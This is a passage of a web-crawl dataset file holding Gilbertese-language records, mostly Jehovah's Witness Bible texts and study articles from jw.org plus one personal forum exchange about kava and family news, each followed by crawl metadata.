kamaiuia rinanoni kabwaraan aia bure, ibukin ana atataiaomata ae bati Atuara. Ao ibukin te atataiaomata aei, ti na nora te oota mai karawa ae raneanea n ai aron tabwenani mainiku, bwa e na anga te oota nakoia akana tekateka n te rotongitong ao n nuun te mate, ao ni kairi waera i nanoni kawain te raoi.\" (Ruka 1:76-79) Ai kaungaakira nanora n te taetae ni burabeti anne!\nN te tai aei ao e a roko ni mwengana i Natareta Maria are akea buuna. Tera ae e na riki nakoina ngkana e a ataaki bwa e bikoukou?","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/baika-riki-ni-karokoa-ana-mwakuri-ni-minita-Iesu\/ioane-te-tia-bwabetito-bungiaki-aranaki\/","date":"2018-03-24T06:19:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257649931.17\/warc\/CC-MAIN-20180324054204-20180324074204-00618.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":570,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.449,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A ataaki Taian Areru 120 nakon 134 bwa taian Anene n Ararake. A bati ake a kakoauaa ae a aneneaki mwakoro aikai irouia taan taromauri aika tibun Iteraera aika kimwareirei ngke a ararake nako Ierutarem, are e mena ni maungan Iutaia, bwa a na kaei tooa ake a karaoaki ni katoa ririki.\nE kabotauaki ana kamanomano Iehova bwa kaanga . . .\nte tia kawakintiibu ae aki nimatutu\nte nuu man te riringa\nte tautia ae kakaonimaki ni koaua","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/tebetembwa-2016-mwb\/kaetieti-n-te-botaki-teb12-18\/buokau-mairoun-iehova\/","date":"2018-03-20T08:10:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647322.47\/warc\/CC-MAIN-20180320072255-20180320092255-00214.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":74,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.405,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"\"E kauki aia iango bwa a aonga n ota raoi n ae nanonaki n te Koroboki ae Tabu.\"\n1, 2. E kangaa Iesu ni kakorakoraia taan rimwina n te bong are e kautaki iai?\nBON te bong naba aei are e kautaki iai Iesu. A tabe ngkai taan rimwini Kristo aika uoman n nakonako nakon te kaawa, ae tao 11.2 te kiromita raroana mai Ierutarem. N akea ataakina irouia ae e a tia ni kautaki Iesu, a bon rawawata nanoia ibukini baike a a tibwa tia n riki. Ma e a karina naba ni kaoti Iesu ao n nakonako ma ngaiia. E boni karaui nanoia taan rimwina aikai. N te aro raa? \"E kabwarabwaraa nakoia baike bon taekana n te Koroboki ae Tabu ni moa mairouni Mote ao aia koroboki Burabeti ni kabane.\" (Ruka 24:13-15, 27) Ibukin anne, a a moanna n teke nanoia bwa e 'kauki aia iango' ke e \"kabwarabwaraa raoi\" nanon te Baibara nakoia.—Ruka 24:32.\n2 N te moantairiki naba anne, a a oki taan rimwini Kristo aika uoman aikai nako Ierutarem. A noriia abotoro ao a a taekini baika a riki nakoia. Ngke a tabe n taetaenikawai, ao e a kaoti naba Iesu nakoia ana abotoro ni kabane ao a nako nanoia. A a moanna n raraoma bwa bon Iesu ke tiaki. Ma e kangaa ni kakorakoraia Iesu? Ti tuangaki ae kangai: \"E kauki aia iango bwa a aonga n ota raoi n ae nanonaki n te Koroboki ae Tabu.\"—Ruka 24:45.\n3. Taekini kangaanga aika ti kona n aitara ma ngaai, ao tera ae ti kona ni buokaki iai bwa e na aki tabeitera ara iango ibukin ara mwakuri ni minita?\n3 N aroia abotoro akanne, a kona naba n rawawata nanora n taai tabetai. Ti bae ni katabetabeira ni mwakuri ibukin te Uea, ma a bwara nanora ngkana akea uaana ae ti noria. (1 I-Korinto 15:58) Ke e kona n ae e taraa ni karako rikirakeia naake ti reirei ma ngaiia. E kona naba n ae a a manga tannako mairoun Iehova naake ti buokiia. Tera ae ti kona ni karaoia bwa e na teimatoa n aki tabeitera ara iango ibukin ara mwakuri ni minita? Te bwai teuana ae kona ni buokira, bon otara raoi n nanon ana kaikonaki Iesu n te Koroboki ae Tabu Ti na rinanoi tenua mai buakoni kaikonaki akanne ao n nori reireiara mai iai.\nTE TIA UNUNIKI AE MATU\n4. Tera nanon ana kaikonaki Iesu ibukin te tia ununiki ae matu?\n4 Wareka Mareko 4:26-29. Tera nanon ana kaikonaki Iesu ibukin te tia ununiki ae matu? E tei te mwaane ibukia taan tataekina te Tautaeka n Uea n tatabemania nako. Te koraa bon rongorongon te Tautaeka n Uea ae tataekinaki nakoia aomata aika raoiroi nanoia. N aron ae ti taneiai n nonoria, e \"mamatu n te bong ao n uti n te ngaina\" te tia ununiki. E waakinako rikiraken te aroka i nanon te tai ae maan teutana, mani moani unikana ni karokoa taiakina n te kabanea n tai. N te tai anne ao a a 'bwebwerake koraa ao n rikirake.' E waakinako bibitakin rikiraken te kai aei 'i bon irouna,' teutana imwin teutana. N aron naba anne, e waakinako bibitakin rikiraken te onimaki teutana imwin teutana. Ngkana e rikirake ana onimaki te aomata n te aro are e a kaungaaki bwa e na beku ibukin te Atua, e a karikiuaa ngkanne ngkana e a katabua maiuna nakon Iehova ao ni bwabetitoaki.\n5. Bukin tera bwa e taekina te kaikonaki Iesu ibukin te tia ununiki ae matu?\n5 Bukin tera bwa e taekina te kaikonaki aei Iesu? E buokira bwa ti na ataia ae bon Iehova are e karikirakea te koaua irouia te koraki \"ake a tauraoi nanoia ni butimwaea te koaua.\" (Mwakuri 13:48; 1 I-Korinto 3:7) Ti ununiki ao n teboki aroka, ma e aki mena i nanoni baira rikirakeia. Ti aki kona ni kairoroa te aroka ke ni kabaitiia rikirakena. N aron te mwaane are n te kaikonaki, ti aki ataia naba bwa e kangaa ni waakinako rikiraken te aroka. N angiin te tai, ti aki nora rikirakena ngkana ti tabe ni karaoi ara mwakuri ake ti taneiai ni kakaraoi ni katoabong. Ma imwin te tai ae aki maan, e boni kona ni karika uaana koraan te Tautaeka n Uea. Imwin anne, e a raonira te tia rimwini Kristo ae boou n te mwakuri n tai, ao ti a kakabwaiaaki man ana ibuobuoki.\n6. Tera ae ti riai ni kakoauaa ibukin rikiraken te onimaki?\n6 Tera reireiara man te kaikonaki aei? Te moan, ti riai ni kakoauaa bwa e aki mena i nanoni baira rikiraken ana onimaki te aomata ae ti reirei ma ngaia n te Baibara. Ti na buokaki mani bwainan te nimamannei bwa ti na rarawa nakon te kariri ae karawawataan, ke kairoroan te aomata ae ti reirei ma ngaia bwa e na bwabetitoaki. Ti boni karaoa ara kabanea ni konaa ni buokia ao ni boutokaia, ma ti bwaina te nanorinano ni kakoauaa ae n tokina, bon tabena iangoani katabuani maiuna. Te katabu bon te bwai ae riai n waerake mani kukurein te nano ae reke man tangiran te Atua. E butimwaea katabuani maiura Iehova tii ngkana ti bon tangiria.\n7, 8. (a) Baikara riki reireiara man ana kaikonaki Iesu ibukin te tia ununiki ae matu? Taekina te katoto teuana. (b) Tera reireiara n aei ibukin Iehova ma Iesu?\n7 Te kauoua, ti na buokaki man ataakin nanon te reirei ae boto mai iai te kaikonaki aei, bwa a na aki bwara nanora ngkana ti aki nori moa mwin ara mwakuri. Ti riai ni bwaina te taotaonakinnano. (Iakobo 5:7, 8) E ngae naba ngkana e aki karikiuaa te koraa, ma imwini karaoan ara kabanea n tamaroa ni buoka te aomata are ti reirei ma ngaia, ti a ataa te bwai ae riki aei bwa bon tiaki kanikinaean ae tiaki taan reirei aika raraoi ngaira. E kariaia Iehova bwa e na maiureirei koraan te koaua, tii iroun te aomata ae nanorinano are e tauraoi ni karaoi bitaki. (Mataio 13:23) Ai ngaia are ti aki riai ni bairea nakoraoin ara mwakuri ni minita tii mani mwin ara mwakuri. E aki taraa nakoraoin ara mwakuri ni minita Iehova man aroaroia naake ti reirei ma ngaiia. N oneani mwin anne, e rangi ni kakawaki irouna kakaonimakira ni mwakuri korakora n aki ongeia bwa baikara mwia.\n8 Te katenua, ti aki atai bitaki i nanon te aomata n taai nako. N te katoto, iai te taanga teuana are a nakon te mitinare are e tabe n reirei ma ngaiia ao a bubutii bwa a kan riki bwa taan uarongorongo aika tuai ni bwabetitoaki. E boni kauringia te taanga aei teuaei bwa ngkana a kani katauaki nakon aei, a riai ni kaaki te moko. E rangi ni mimi te mitinare aei ngke a a tuangnga bwa a a kamani kaaki tabeua te namwakaina n nako. E aera ngke a kaaki? A bon ataia ae e kona n noriia Iehova ngkana a moko ao e riribaa te baka n raoiroi. Ai ngaia are a a kaungaaki bwa a na karaoa aia motinnano, ae tao a na moko i matan te mitinare ke a na boni kaaki. A buokaki man tangiran Iehova are e a tibwa rikirake bwa a na karaoa aia motinnano ae eti. A a bon rikirake n te onimaki, e ngae ngke akea ataakin te bitaki anne iroun te mitinare.\nTE KARAUN\n9. Tera nanon te kaikonaki ibukin te karaun?\n9 Wareka Mataio 13:47-50. Tera nanon ana kaikonaki Iesu ibukin te karaun? E kabotaua Iesu tataekinan rongorongon te Tautaeka n Uea nakoia aomata ni kabane ma kabwakaan te karaun ae bubura i taari. N aron ae e kona te aeka ni karaun anne ni kamwanei \"aeka n iika nako\" aika rangi ni bati, a atikaki naba mirion ma mirion aomata n aekaia nako n ara mwakuri n uarongorongo. (Itaia 60:5) Bon te bwai ni kakoaua n aei, rorokoia aomata aika mwaitikurikuri ni kaei ara bwabwaro ao te Kauring ni katoa ririki. Tabeman mai buakoia ake a kaikonakaki n iika aikai, a bon \"raraoi\" ao a a bobotakaki nako nanon te ekaretia ni Kristian. Ma ake tabeman riki, titeboo ma iika aika a \"aki tau\" ao a aki butimwaeaki iroun Iehova.\n10. Bukin tera ngke e taekina Iesu te kaikonaki ibukin te karaun?\n10 Bukin tera ngke e taekina te kaikonaki aei Iesu? E aki tei kaokoroaia iika ibukin te kabanea ni motikitaeka n tain te rawawata ae korakora. Ma e katuruturuaki iai te bwai ae na riki ni kabaneani bongin te waaki ae buakaka ae ngkai. E kaotia Iesu bwa iai mai buakoia aomata ake a a tia n anaaki nanoia n te koaua, ake a na aki tei ibukin Iehova. A bati aika a a tia n iraorao ma ngaira n ara bobotaki. Ao ake tabeman riki, a a tia ni kukurei n reiakina te Baibara ma ngaira, ma a aki kukurei n anga ngaiia ibukin te koaua. (1 Uea 18:21) Ma a aikoa manga bobotaki tabeman riki ma te ekaretia ni Kristian. A a tia tabeman rooro n rikirake ni kaikawaaki irouia aia karo aika Kristian ao a bon tuai naba ni karikirakea tangiran ana kaetieti Iehova. E katuruturua Iesu bwa a riai aomata nako ni karaoi oin aia motinnano, n aki ongeia bwa tera ae riki nakoia. A iangoaki irouna te koraki ake a karaoa anne bwa bwaai aika \"tatangiraki\" mai buakoia \"botanaomata ni kabaneia.\"\n11, 12. (a) Ti na kangaa ni kakabwaiaaki man te kaikonaki ibukin te karaun? (b) Tera reireiara n aei ibukin Iehova ma Iesu?\n11 Ti na kangaa ni kakabwaiaaki man te kaikonaki ibukin te karaun? Ngkana ti ota raoi n te reirei man te kaikonaki aei, ti na buokaki iai n rarawa ni karawawataaki ke ni bwara nanora n te aro ae riao, ngkana e aki nimta te koaua te aomata ae ti reirei ma ngaia n te Baibara ke temanna mai buakoia natira. E kona n riki aei n aki ongea kabanean ara kakorakora iai. Tiaki nanona bwa butimwaean te reirei n te Baibara ke te kaikawaaki i nanon te koaua, e na rikirake iai ana iraorao ae nene te aomata anne ma Iehova n akea ana kakorakora. N tokina, a na kaokoroaki mai buakoia ana aomata te Atua te koraki aika a rawa n aantaeka nakon ana tautaeka Iehova.\nIai tabeman mai buakoia ake a anaaki nanoia n te koaua aika a na tei n nene ibukin Iehova (Nori barakirabe 9-12)\n12 E nanonaki n aei bwa a aikoa kona ni kariaiakaki n okira te ekaretia naake a a tia ni kitana te koaua? Ke ngkana iai temanna ae kabwaka ni katabua maiuna nakon Iehova, e na atongaki n aki toki teuanne bwa e \"aki tau\"? Tiaki ngaia anne. A bon teimatoa naba n anganaki aia tai aeka n aomata akanne imwaini moanakin te rawawata ae korakora. Titeboo ma e weweteia Iehova ni kangai: \"Kam na oki nako Iu, ao N na oki nako imi.\" (Maraki 3:7, BG) E kamatataaki te iango aei n te kaikonaki riki teuana are e taekinna Iesu ibukin te nati ae bakatae.\nTE NATI AE BAKATAE\n13. Tera nanon te kaikonaki ibukin te nati ae bakatae?\n13 Tera nanon ana kaikonaki Iesu ibukin te nati ae bakatae? E tei te karo ae nanoanga aei ibukin Tamara ae tatangira are i karawa ae Iehova. E tei te nati are e bubutii tibwana ao imwina e nako ni bakataei, ibukia naake a a tia n tiotionako man te ekaretia. Ibukina bwa a kitana te ekaretia, titeboo iai ma a mwananga nakon \"te aba ae raroanako,\" ae ana aonnaba Tatan ae ianena mairoun Iehova. (I-Ebeto 4:18; I-Korote 1:21) Ma iai tabeman ake a a manga oki wanawanaia rimwi riki, ao a kakorakoraia n okira ana botaki Iehova. E ingainga Tamara ae kakabwarai buure ni butimwaeia te koraki aika nanorinano ao a rairi nanoia aikai.\n14. Bukin tera bwa e taekina te kaikonaki ibukin te nati ae bakatae Iesu?\n14 Bukin tera ngke e taekina te kaikonaki aei Iesu? E kaikonakaki aron Iehova n te aro ae rangi n anainano iroun Iesu bwa E tangiriia aika tiotionako bwa a na okiria. E tuai man toki iaiangoan okin te nati aei iroun te karo are n te kaikonaki. Ngke e moan nora natina bwa e a oki, e ngae ngke \"e a ria,\" e a waekoa ni karaoi bwaai tabeua ao e butimwaeia n rabwatia. A rangi ni kaungaaki te koraki ake a a tia ni kitana te koaua bwa a na waekoa n okira Iehova! Tao a a rangi ni mamaara ni bwaai n taamnei, ao e kona n taraa ni kamaamaa ao ni kangaanga okia. Ma e rangi n uaana aia kakorakora bwa a na kukurei kaaini karawa n okia.—Ruka 15:7.\n15, 16. (a) Baikara reireiara man ana kaikonaki Iesu ibukin te nati ae bakatae? Taekini katoto tabeua. (b) Tera reireiara n aei ibukin Iehova ma Iesu?\n15 Ti na kangaa ni kakabwaiaaki man te kaikonaki ibukin te nati ae bakatae? Ti riai ni kakairi n ana katoto Iehova. Ti na aki rangi ni kani 'raoiroi n te aro ae aki riai,' n te aro are ti a rawa ni butimwaeia ma te tangira taani bure aika a rairi nanoia ngkana a oki. Mani karaoan aei, ti a boni 'mate' iai ni bwaai n taamnei. (Te Minita 7:16, BG) E kona n reke reireiara riki teuana man aei. E riai n iangoaki are e kitana te ekaretia bwa \"te tiibu ae bua,\" ma bon te aomata ae kona n oki. (Taian Areru 119:176) Ngkana ti kaitiboo ma te aomata ae e a tia n tiotionako man te ekaretia, ti na kukurei n anga ara ibuobuoki ae manena ao n tatangira bwa e aonga ni manga oki? Ti na waekoa ni kaongoia unimwaane n te ekaretia bwa a aonga ni kona n anga te ibuobuoki ae riai? Ti na boni karaoa anne ngkana ti bwaina te wanawana ni maiuakin reireiara man ana kaikonaki Iesu ibukin te nati ae bakatae.\n16 Iangoa aroia tabeman naati aika bakatae ni boong aikai, ni kaota aia kakaitau ibukin ana nanoanga Iehova ao tangiraia ma boutokaaia n te ekaretia. E taekina ae kangai te tari te mwaane are e kabaneaki man te ekaretia n te maan ae 25 te ririki: \"E teimatoa n ririkirake kimwareireiu man te tai are I oki iai, ngkai I a tia ni karekei 'taai ni kakamaiu' mairoun Iehova. (Mwakuri 3:19) A rangi ni kaotiota te tangira ao te boutoka aomata ni kabane! E a bon reke ngkai au utu n taamnei ae rangi n tamaroa.\" E taekina okina te tari te aine ae te roro n rikirake, are e tiotionako mairoun Iehova i nanon nimaua te ririki ni kangai: \"I aki kona ni kabwarabwaraa nakoimi aron au namakin, ngke I nora te tangira are e taekinna Iesu n te aro ae rangi ni mataata ae kaineti nakoiu. E rangi ni manena kaainakin ana botaki Iehova!\"\n17, 18. (a) Baikara reirei aika manena ake ti reiakini mani kaikonaki aika tenua ake ti a tia n rinanoi? (b) Tera ae ti riai ni motinnanoia?\n17 Baikara reirei aika manena ake ti reiakini mani kaikonaki aika tenua aikai? Te moan, ti riai ni kakoauaa bwa e aki mena i nanoni baira rikiraken te onimaki. Bon anne ana bwai Iehova. Te kauoua, n etina ti aki kona ni kantaningaia te koraki ni kabane ake a bobotaki ma ngaira ao ake ti reirei ma ngaiia bwa a na tei ibukin te koaua. Ni kabaneana, e ngae ngke tao a kitana te koaua ao Iehova aomata tabeman, ma ti bia teimatoa ni kantaningaia bwa a na bon oki. Ao ngkana a oki, ti bia butimwaeiia n te aro are e a kaotiotaki iai ana tangira Iehova.\n18 Ti bia bane n teimatoa n ukoukora te atatai, te ataibwai ao te wanawana. Ngkai ti tabe ni wareki ana kaikonaki Iesu, titiraki bwa tera nanoia, bukin tera bwa a koreaki n te Baibara, ti na kangaa ni maiuakin reirei aikai ao tera reireiara ibukin Iehova ma Iesu. Ni karaoan anne, ti a kaotia ngkanne ae ti a ota n nanon ana taeka Iesu.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/w20141215\/iesu-kaikonaki-ko-ota-n-ae-nanonaki-iai\/","date":"2018-03-20T10:49:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647327.52\/warc\/CC-MAIN-20180320091830-20180320111830-00592.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2623,"character_repetition_ratio":0.064,"word_repetition_ratio":0.024,"special_characters_ratio":0.23,"stopwords_ratio":0.435,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hi sis, e ragin rarabwa te tai aei kerr............shshshshshsh just want to ask something if u can help me with smth.............I really want to import the Rabi Kava from there but am not sure to send money to whom.........and I was hoping if u could help me with it............ia bon ogogora iroum kaga ti anne bwa eaoga n reke roon little sis.........thanx riki ao are bon arei nb regards to all of the guys there...........and to u all..........tekeraoi te mwakuri ao te rei2 irouia ataein te rei2\nNeiko ngaia anne bn 6 raoi mwaitira kee ma temanna e bungiaki ao ea manga mate temwaane nb , e tikiraoi nee ba tia manga bn ongongora imwina rongorongoia kain Rabi. Ngai gkoer buu kain te itera maiaki ao bn ana koraki nb nei Aren Tiaontin ni kwong , ao nei Rotaaria buuna kain nb te itera maiaki nb ao ten James kain te itera maiaki nb buuna kee ao mikaere kain teitera nuuka buuna , neiko akea te kariaaki iroura ba tia bane nte itera maiaki kee,\nao ten Tiana eiein ma natin uekam are i banaba.\nah aran buu gkane bon Iom tamaana Teraoi\nneiko tao ti ngaia anne mai ikai ma koa manga bn rereitia mai ikanne kee!!\nkoa ngania nb natim ara kamauri ma ara inga ao ai kain ami auti ni kabane\nNeiko ngaia ea tirawa nb natim kee , i taku ngai ba ti temanna gaia ea rang mwaiti nb ko kara kee ba ai kawai natim, ngaia anne ao naake te korakina a mwaiti nb natia kee, nei Rotaaria 2 natina ana karimoa ea tia ni mate bn taana ni mwaane natina ao James e tuai ni kariki nb e mena gkai NZ ma buuna ao mikaere 2 natina mwaane nb ao ten Tiana ea tiba iein e tuai kariki. Neiko tao tingaia anne rongorongora mai ikai ma koa manga reitia gkoer mai ikanne riki rongorongoia kain tabwewa keee !!! ao koa kaongoraeai nb nee rongorongon Tekanan ba e uara moa gkai kee sis!\ntau tekeraoi gkami mai ikanne ao koa angania nb kain am auti ara kamauri ma ara inga\nMauri sis, e rarabwa ba ti bane ni marurung raoi tao ai aromi nb mai ikanne , tamnein naitim aei ker e rang boboto , ngai gkoer i tuai ni kariki ba tao ia kan katotonga tibuu are tei Iotebwa are mate ao akea natina nb temana .. ahahaha ao gker ai tiba temana natiu ma temwaane ea tiba form 2 gkai.\nkoa manga reitia nee mai ikanne\ntia bobo moa gkami ao tekeraoi ma kain am utu ikanne.","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/banabanvoice.ning.com\/profile\/AripoAaron","date":"2018-03-21T22:25:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647706.69\/warc\/CC-MAIN-20180321215410-20180321235410-00288.warc.gz","language":"gil","language_score":0.9996201396,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 0.9996201395988464}","num_words":422,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.164,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"31 Ngke a bon tia naba ngkekei ni karaoi baikai ni kabane, ao a bane tibun Iteraera ake a mena ikekei n otinako nakoni kaawa ake i Iuta, ao a kamaeinikuni boua aika tabu,+ ao a korei kaai aika tabu*+ ni kabwakai, ao a kabwakai taabo aika rietata+ ma baonikarea+ ni kabutaa Iuta ao Beniamin, n ikotaki ma Eberaim ao Manate+ ni karokoa ae a boni kamaunai ni kabane, ao imwina a a bane tibun Iteraera n okiri aia kaawa, temanna ma temanna nakon oin ana bwai. 2 E mwiokoiia ngkanne ibonga* Etekia n aia koraki aika kakaokoro+ ao tibun Rewi n aia koraki aika kakaokoro,+ ibonga n tatabemania nako ao tibun Rewi ibukin aia beku+ ibukini karea ni kabuekaki, karea n raoi, bwa a na beku iai, ao a na katituaraoi ma ni karaoiroi ni mataroan ana katawanang* Iehova.+ 3 E anga te aba tibwangan te uea bwa te karea ni kabuekaki,+ n ikotaki ma karea ake bwain te ingabong ao bwain te tairiki,+ n ikotaki naba ma taiani karea ni kabuekaki ibukini boongi n Taabati,+ bongin nako otin namwakaina,+ ao tain taian toa,+ n aron are koreaki n ana Tua Iehova. 4 Irarikin anne, e tua nakoia aomata ake a maeka i Ierutarem, bwa a na anga te tibwanga are a bon riai n anganaki ibonga ao tibun Rewi,+ bwa a aonga n ira raoi* ana tua Iehova. 5 N te tai are e kanakoaki iai te tua, ao tibun Iteraera a a bon anga naba ae mwaitikurikuri moan uaan te uita,* te wain ae boou, te oera,+ aia karewe manibeeru,* ao uaan nako te tawaana.+ A uotii ni kamwaiti kabwianibwai mani bwaai nako.+ 6 Ao tibun Iteraera ma kaain Iuta ake a maeka ni kaawa ake i Iuta, a uota naba te kabwianibwai man taiani kao ao tiibu ao te kabwianibwai mani baika tabu+ ake a katabuaki nakon Iehova ae Atuaia. A uotii n rin ao a karaoi bwa bwariko aika bati. 7 N te katenua n namwakaina+ ao a moana katukan aia angabwai ni kabwarikorikoi, ao a tia n te kaitiua n namwakaina.+ 8 Ngke a roko Etekia ma tooka ao a nori bwariko akekei, ao a karaoiroa Iehova ao a kakabwaiaia ana aomata aika tibun Iteraera. 9 Ngke e titiraki Etekia nakoia ibonga ao tibun Rewi ibukin taiani bwariko akekei, 10 ao e taku nakoina Ataria ae te mataniwi n ibonga* man ana utu Tatoka: \"Man te tai are a moana iai uotakin taian angabwai nako nanon ana auti Iehova,+ ao a amwamwarake aomata ni karokoa ae a rauaki, ao e bon tira naba te nikira, bwa e kakabwaiaia ana aomata Iehova ao bwaai aika rangi ni bati aikai bon taian nikira.\"+ 11 Ngaia are e tuangia Etekia bwa a na katauraoi ruu ni kaikobwai*+ n ana auti Iehova, mangaia are a katauraoi baikai. 12 A teimatoa ni kakaonimaki ni karin taian angabwai ae katebwinani mwakoroni bwaai,*+ ao bwaai aika tabu, ao e mwiokoaki Konania ae tibun Rewi i aoni baikai ni kabane bwa te tia tararuai, ao e kauoman i aana tarina ae Timei. 13 Ao taan tei aika buoka Konania ma tarina are Timei bon Ieiera, Atatia, Naata, Ataera, Ierimota, Iotabata, Eriera, Itimakia, Maiata, ao Benaia, n aron are e tua te Uea ae Etekia, ao te tia tararua n ana auti te Atua ae koaua bon Ataria. 14 Ao Kore ae natin Imna ae tibun Rewi ae te tia teiakina mataroan te oo n te itera are mai mainiku,+ e mwiokoaki i aoni karea ni kan anga+ nakon te Atua ae koaua, ao e tibwatibwaa te angabwai ae karaoaki nakon Iehova+ ao bwaai aika moan te tabu.+ 15 Ao Eten, Miniamin, Ietua, Temaia, Amaria, ao Tekania, a mena i aan ana kairiri teuaei, n aia kaawa nako ibonga,+ n nakoaia ae a onimakinaki iai, bwa a na tibwatibwa n te aro ae boraoi nakoia tariia ake a mena n aia koraki aika kakaokoro,+ nakoia ake a ataei ao ake a kara. 16 Aei naba raon te tibwatibwa are e karaoaki nakoia mwaane aika kaka tenua aia ririki ni waerake ake a koreaki araia ni karinanaki n te kateiriki, ake a roko ni katoabong bwa a na beku n ana auti Iehova ao ni kakororaoi tabeia n aia koraki aika kakaokoro. 17 A koreaki araia ibonga n te kateiriki ni kaineti ma aia koraki mairoun tamaia,+ n aroia tibun Rewi ake kaka 20 aia ririki ni waerake,+ ni kaineti ma tabeia n aia koraki aika kakaokoro.+ 18 A koreaki naba n te kateiriki araia aia ataei ni kabane, buuia, natiia mwaane, ao natiia aine, ae taekaia tibun Rewi ma kaain aia utu ni kabane, bwa a teimatoa ni katabuia* i bon irouia ibukin te bwai ae tabu ibukin nakoaia ae a onimakinaki iai, 19 n ikotaki naba ma kanoan Aaron, ake ibonga ake a maeka i tinanikun nako aia kaawa.*+ Ni kaawa ni kabane ao a rineaki mwaane n araia bwa a na anga taian tibwanga nakoia mwaane nako ake i buakoia ibonga, ao nakoia aomata nako ake a koreaki naba araia ni kateirikiaia tibun Rewi. 20 E karaoa aei Etekia ni kabutaa Iuta, ao e teimatoa ni karaoa ae raoiroi ma n eti i matan Iehova ae Atuana ao e kakaonimaki nakoina. 21 Ao mwakuri nako ake e karaoi n ukoukora iai Atuana, ae tao e irekereke ma te beku n ana auti te Atua ae koaua,+ ke tao n te Tua ma te kaetieti, e karaoia ma nanona ni kabane, ao e nanakoraoi arona.\nTaiani Kabwarabwara Mai Nano\n^ Ebera, \"kaembwa nako.\"\n^ Ke, \"e aonga n tabwanin raoi tangiran.\"\n^ Ke, e kona n nanona \"te baare.\"\n^ Nora Nanon Taeka, \"Mataniwi n ibonga.\"\n^ Ke, \"taabo n amwarake.\"\n^ Ke, \"kabwianibwai.\"\n^ Ke, \"kaokoroia ibukin te Atua.\"\n^ Ebera, \"n aia tawaana nako.\"","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-rongorongo\/31\/","date":"2018-03-20T06:33:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647299.37\/warc\/CC-MAIN-20180320052712-20180320072712-00104.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":934,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.404,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"\"Ngkana ko nako n uarongorongo ao tai manga oki. Ngkana ko oki, ao I a otei naba rangam.\" Ibukin ana taeka ni kakamaaku tamau akanne, I a motikia bwa N nang nako. Anne au moantai ni kitani bwaai ni kabane ao n irira te Toka. Ai tibwa 16 au ririki.\nE KANGAA n riki anne? N na kabwarabwaraa. I bungiaki n Turai 29, 1929, ao I ikawairake n te kaawa ae uarereke n te aono ae Bulacan i Biribin. E rangi ni bebete te maiu iai bwa bon taini kerikaakini kaubwain te aba. E boo te buaka ngke I a roro n rikirake. A ninia Biribin ana taanga ni buaka Tiaban. Ma e raroanako ara kaawa, ngaia are ti aki rotaki n te buaka aei. Akea te rerio, te terewitin, ao te nuutibeeba, ngaia are ti ongongora taekan te buaka man aia karaki aomata.\nBoni waniman mwaitira ao ngai te kauoman, ao I anaaki irouia tibuu ngke wanua au ririki. E ngae ngke kaain te Katorika ngaira, ma e aki tauaninne n te Aro tibuu te unimwaane, ao e bubutimwaei bokin Aaro mairoun raoraona. I uringnga bwa e kaotii nakoiu booki aika uarereke aika te Protection, Safety, ao Uncovered n te taetae n Tagalog, * n ikotaki naba ma te Baibara. I kani wawareka te Baibara, moarara riki Euangkerio ake aua. Ni kakaraoan anne, I a kani kakairi n ana katoto Iesu.—Ioa. 10:27.\nI REIAKINA AROU N IRIRA TE TOKA\nE toki aia tai I-Tiaban n 1945. N te tai anne, a a tuangai au karo bwa N na okiriia. E kaungaai tibuu te unimwaane bwa N na nako, ngaia are I a nako.\nE aki maan imwina n Ritembwa 1945, ao a roko Ana Tia Kakoaua Iehova man te kaawa ae Angat bwa a na uarongorongo n ara kaawa. E kawarira te tia Kakoaua ae e a kara ao e kabwarabwaraa te bwai ae taekinaki n te Baibara ibukini \"kabaneani boong.\" (2Tim. 3:1-5) E kaoira bwa ti na ira te reirei n te Baibara n te kaawa ae uakaan. A aki iri au karo, ma I bon nako. Tao 20 aomata ake a roko ao tabeman a tabeki titiraki i aon te Baibara.\nIbukina bwa I aki ota raoi ni baike a maroroakin, I a iangoia bwa N nang oki. Ma a a tii anenea naba kunan te Tautaeka n Uea teuana. E rangi n rotaki nanou n te anene ngaia are I a aki nako. 